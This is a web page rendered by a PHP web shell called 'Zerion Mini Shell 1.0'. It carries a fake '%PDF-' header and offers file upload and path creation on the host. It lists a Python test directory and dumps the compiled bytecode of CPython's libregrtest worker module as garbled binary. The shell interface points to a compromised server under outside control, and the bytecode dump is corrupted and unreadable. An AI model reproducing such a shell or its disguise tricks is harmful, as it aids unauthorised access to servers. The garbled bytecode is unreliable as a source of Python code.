%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.12/test/libregrtest/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.12/test/libregrtest/__pycache__/worker.cpython-312.pyc

�

���fY�	��ddlZddlZddlZddlmZmZddlmZddlm	Z	m
Z
ddlmZm
Z
mZddlmZddlmZmZmZmZmZmZeed	�xr	eed
�Z	ddeded
edzdej6fd�Zdedefd�Zd�Zedk(re�yy)�N)�Any�NoReturn)�	os_helper�)�
setup_process�setup_test_dir)�WorkerRunTests�JsonFile�JsonFileType)�run_single_test)�StrPath�StrJSON�
TestFilter�get_temp_dir�get_work_dir�exit_timeout�setsid�killpg�runtests�	output_fd�tmp_dir�returnc���|j�}|j�}|jdd|g�ttj
�}|�||d<||d<||d<tj}t|||dd|��}trd|d<|j}|j|�|j�5tj|fi|��cddd�S#1swYyxYw)	Nz-mztest.libregrtest.worker�TMPDIR�TEMP�TMPT)�env�stdout�stderr�text�	close_fds�cwd�start_new_session)�as_json�create_python_cmd�extend�dict�os�environr�SAVEDCWD�USE_PROCESS_GROUP�	json_file�configure_subprocess�inherit_subprocess�
subprocess�Popen)	rrr�worker_json�cmdr�work_dir�kwargsr,s	         �./usr/lib/python3.12/test/libregrtest/worker.py�create_worker_processr6s����"�"�$�K�
�
$�
$�
&�C��J�J��/��=�>�
�r�z�z�
�C�����H�
���F����E�
��!�!�H�!����
����F��&*��"�#��"�"�I�
�"�"�6�*�	�	%�	%�	'�/�����.�v�.�/�/�/�s�8C�C!r1c��tj|�}|jd}|j}|j}t|j�t�|jrC|r0ddjd�|D��z}td|�d|�d�d�	�ntd|�d
�d�	�t||�}|jtjk(r*t�|jt j"�n-|j%dd�
�5}|j|�ddd�t!j&d�y#1swY�xYw)Nrz
matching: z, c3�,K�|]\}}|s�	|���y�w�N�)�.0�pattern�results   r5�	<genexpr>z!worker_process.<locals>.<genexpr>Hs����/e�O�G�V�^d��/e�s�
�zRe-running z in verbose mode (�)T)�flushz in verbose mode�wzutf-8)�encoding)r	�	from_json�tests�match_testsr,r�test_dirr�rerun�join�printr�	file_typer�STDOUT�write_json_into�sysr�open�exit)r1r�	test_namerEr,�matchingr=�json_fps        r5�worker_processrS=s���'�'��4�H����q�!�I�&�2�2�K�"�,�,�I��8�$�$�%��O��~�~��#�d�i�i�/e�{�/e�&e�e�H��K�	�{�*<�X�J�a�H�PT�U��K�	�{�*:�;�4�H�
�Y��
1�F����l�1�1�1�
�����s�z�z�*�
�^�^�C�'�^�
2�	,�g��"�"�7�+�	,��H�H�Q�K�	,�	,�s�E�E
c�|�ttj�dk7r td�tjd�tjd}t�}t
|d��}t�5tj|d��5t|�ddd�ddd�y#1swY�xYw#1swYyxYw)N�z-usage: python -m test.libregrtest.worker JSONrT)�worker)�quiet)�lenrM�argvrIrOrrrr�temp_cwdrS)r1rr3s   r5�mainr[Ys���
�3�8�8�}���
�=�>�������(�(�1�+�K��n�G��G�D�1�H�	��(�
�
�
���
5�	(��;�'�	(�(�(�	(�	(��(�(�s$�1B2�	B&�B2�&B/	�+B2�2B;�__main__r9) r/rMr(�typingrr�test.supportr�setuprrrr	r
r�singler�utilsr
rrrrr�hasattrr+�intr0r6rSr[�__name__r:�r5�<module>rfs����
�	� �"�0�<�<�#�.�.�
�R��*�D�w�r�8�/D��59�'/�N�'/�s�'/�#*�T�>�'/�=G�=M�=M�'/�T���H��8(��z���F�re

Zerion Mini Shell 1.0